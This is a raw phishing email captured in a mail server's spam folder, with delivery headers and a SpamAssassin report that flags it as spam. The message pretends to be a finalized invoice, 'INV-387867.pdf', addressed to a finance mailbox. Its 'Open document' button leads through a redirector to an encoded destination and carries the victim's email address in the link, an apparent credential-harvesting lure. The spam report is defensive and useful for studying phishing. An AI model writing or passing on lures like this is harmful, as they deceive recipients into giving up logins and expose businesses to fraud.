File: /home/coachou/mail/.spam/new/1744138020.M405952P1561386.server.tanduk.space,S=7508,W=7663
Return-Path: <mail@n2nworldsystems.com>
Delivered-To: coachou+spam@server.tanduk.space
Received: from server.tanduk.space
by server.tanduk.space with LMTP
id KM8AFyRv9Wcq0xcAt+5+7g
(envelope-from <mail@n2nworldsystems.com>)
for <coachou+spam@server.tanduk.space>; Tue, 08 Apr 2025 14:47:00 -0400
Return-path: <mail@n2nworldsystems.com>
Envelope-to: finance@coachoutletstoreonline.us
Delivery-date: Tue, 08 Apr 2025 14:47:00 -0400
Received: from [198.23.248.88] (port=40649 helo=n2nworldsystems.com)
by server.tanduk.space with esmtps (TLS1.3) tls TLS_AES_256_GCM_SHA384
(Exim 4.98.1)
(envelope-from <mail@n2nworldsystems.com>)
id 1u2DyH-00000006YPB-249t
for finance@coachoutletstoreonline.us;
Tue, 08 Apr 2025 14:47:00 -0400
DKIM-Signature: v=1; a=rsa-sha256; c=relaxed/relaxed; s=dkim; d=n2nworldsystems.com;
h=From:Subject:To:Content-Type:MIME-Version:Date; i=mail@n2nworldsystems.com;
bh=xgCwsmMMFgxaO4KK69KuT08TH3ZafwEOi00XID5H4/c=;
b=dA1PhqEkNyszdSH31bM6QCRVUqIblqx2DrlxurDkKLl56SuYLysyCh2iIAiceoXNkWpXzTOb46SR
YNGwugsmhLhkQXaOYuNOOsoU+8euYwUMYvaZouE/bz4hHI4kKNUWMlsfVfCohtP3h4rytSnjx0Cp
jg4+yjL0yKbIkih8Kte01ffwiBUjFdT+s78Vtg2vZgvJogDX0r8q9hiKs17phZu7XHHle01BWH+x
O34RF55jG+TIHgEE+Yu2MpPJh1VDX2K3mT7HeXUkaCirrbWx0rbBqLpVH0rzngrwkDRhLCOQAdpS
Eu9y+S/MzpuVdzgNwXPEQ25vncY1Vcf4rJQuMQ==
From: "Accounts" <mail@n2nworldsystems.com>
To: "finance" <finance@coachoutletstoreonline.us>
Content-Type: multipart/alternative; boundary="0Df4r2xE4Bleb7M2tdBwUHJ17R=_80Pk5v"
MIME-Version: 1.0
Date: Tue, 8 Apr 2025 00:54:26 -0700
X-Spam-Status: Yes, score=9.7
X-Spam-Score: 97
X-Spam-Bar: +++++++++
X-Spam-Report: Spam detection software, running on the system "server.tanduk.space",
has identified this incoming email as possible spam. The original
message has been attached to this so you can view it or label
similar future email. If you have any questions, see
root\@localhost for details.
Content preview: Account Dept. shared an OfficeSign document: INV-387867.pdf
and it has been finalized. The signed documents are attached. Open document
If you have trouble with the above link, copy it and open it with your browser.
Content analysis details: (9.7 points, 5.0 required)
pts rule name description
---- ---------------------- --------------------------------------------------
0.0 URIBL_BLOCKED ADMINISTRATOR NOTICE: The query to URIBL was blocked.
See
http://wiki.apache.org/spamassassin/DnsBlocklists#dnsbl-block
for more information.
[URI: vozer.net]
0.0 RCVD_IN_VALIDITY_SAFE_BLOCKED RBL: ADMINISTRATOR NOTICE: The query to
Validity was blocked. See
https://knowledge.validity.com/hc/en-us/articles/20961730681243
for more information.
[198.23.248.88 listed in sa-accredit.habeas.com]
0.0 RCVD_IN_VALIDITY_CERTIFIED_BLOCKED RBL: ADMINISTRATOR NOTICE: The
query to Validity was blocked. See
https://knowledge.validity.com/hc/en-us/articles/20961730681243
for more information.
[198.23.248.88 listed in sa-trusted.bondedsender.org]
0.0 RCVD_IN_VALIDITY_RPBL_BLOCKED RBL: ADMINISTRATOR NOTICE: The query to
Validity was blocked. See
https://knowledge.validity.com/hc/en-us/articles/20961730681243
for more information.
[198.23.248.88 listed in bl.score.senderscore.com]
4.5 URIBL_DBL_SPAM Contains a spam URL listed in the Spamhaus DBL
blocklist
[URI: n2nworldsystems.com]
-0.0 SPF_PASS SPF: sender matches SPF record
-0.0 SPF_HELO_PASS SPF: HELO matches SPF record
1.0 MAILBABY_GENERIC_IXHASH BODY: iXhash found @
mailbaby.ixhashgeneric.interserver.net
-0.1 DKIM_VALID_EF Message has a valid DKIM or DK signature from
envelope-from domain
-0.1 DKIM_VALID_AU Message has a valid DKIM or DK signature from author's
domain
-0.1 DKIM_VALID Message has at least one valid DKIM or DK signature
0.1 DKIM_SIGNED Message has a DKIM or DK signature, not necessarily valid
0.8 FROM_FMBLA_NEWDOM28 From domain was registered in last 14-28 days
1.1 DATE_IN_PAST_06_12 Date: is 6 to 12 hours before Received: date
0.0 HTML_MESSAGE BODY: HTML included in message
0.0 HTML_FONT_LOW_CONTRAST BODY: HTML font color similar or identical to
background
0.0 T_MXG_EMAIL_FRAG BODY: URI with email in fragment
0.5 KAM_NUMSUBJECT Subject ends in numbers excluding current years
2.0 RDNS_NONE Delivered to internal network by a host with no rDNS
0.0 NORDNS_LOW_CONTRAST No rDNS + hidden text
X-Spam-Flag: YES
Subject: ***SPAM*** FW: Invoice - 387867
This is a multi-part message in MIME format
--0Df4r2xE4Bleb7M2tdBwUHJ17R=_80Pk5v
Content-Type: text/plain; charset="utf-8"
Content-Transfer-Encoding: quoted-printable
Content-Disposition: inline
=EF=BB=BFAccount Dept. shared an OfficeSign document: INV-387867.pdf a=
nd it has been finalized.
The signed documents are attached.
Open document=20
If you have trouble with the above link, copy it and open it with your=
browser.
--0Df4r2xE4Bleb7M2tdBwUHJ17R=_80Pk5v
Content-Type: text/html; charset="utf-8"
Content-Transfer-Encoding: quoted-printable
Content-Disposition: inline
=EF=BB=BF<HTML><HEAD></HEAD>
<BODY>
<DIV dir=3Dltr>
<TABLE style=3D"FONT-SIZE: 14px; BORDER-TOP: #e9e9e9 1px solid; FONT-F=
AMILY: 'Helvetica Neue',Helvetica,Arial,sans-serif; BORDER-RIGHT: #e9e=
9e9 1px solid; BORDER-BOTTOM: #e9e9e9 1px solid; COLOR: #000; BORDER-L=
EFT: #e9e9e9 1px solid; BACKGROUND-COLOR: #fff; border-radius: 3px" ce=
llSpacing=3D0 cellPadding=3D0 width=3D"100%" bgColor=3D#fff>
<TBODY>
<TR>
<TD style=3D"PADDING-BOTTOM: 10px; PADDING-TOP: 10px; PADDING-LEFT: 10=
px; PADDING-RIGHT: 10px" vAlign=3Dtop>
<P>Account Dept. shared an OfficeSign document: <STRONG>INV-387867.pdf=
</STRONG> and it has been finalized.</P>
<P>The signed documents are attached.</P>
<TABLE style=3D"MARGIN: auto" cellSpacing=3D0 cellPadding=3D0 align=3D=
left>
<TBODY>
<TR>
<TD>
<TABLE cellSpacing=3D0 cellPadding=3D0>
<TBODY>
<TR>
<TD style=3D"border-radius: 2px" bgColor=3D#3aa54c><A style=3D"FONT-SI=
ZE: 16px; TEXT-DECORATION: none; BORDER-TOP: #3aa54c 1px solid; FONT-F=
AMILY: 'Helvetica Neue',Helvetica,Arial,sans-serif; BORDER-RIGHT: #3aa=
54c 1px solid; BORDER-BOTTOM: #3aa54c 1px solid; COLOR: #fff; PADDING-=
BOTTOM: 8px; PADDING-TOP: 8px; PADDING-LEFT: 12px; BORDER-LEFT: #3aa54=
c 1px solid; DISPLAY: inline-block; PADDING-RIGHT: 12px; border-radius=
: 2px" href=3D"https://vozer.net/go/?to=3DaHR0cDovL3BlbnRydWdhdGl0dC5j=
b20vaW5kZXguaHRtbA#finance@coachoutletstoreonline.us" rel=3D"noopener =
noreferrer" target=3D_blank><STRONG>Open document</STRONG> </A></TD></=
TR></TBODY></TABLE></TD></TR></TBODY></TABLE>
<P><BR><BR><BR><BR>If you have trouble with the above link, copy it an=
d open it with your browser.</P></TD></TR></TBODY></TABLE></DIV></BODY=
></HTML>
--0Df4r2xE4Bleb7M2tdBwUHJ17R=_80Pk5v--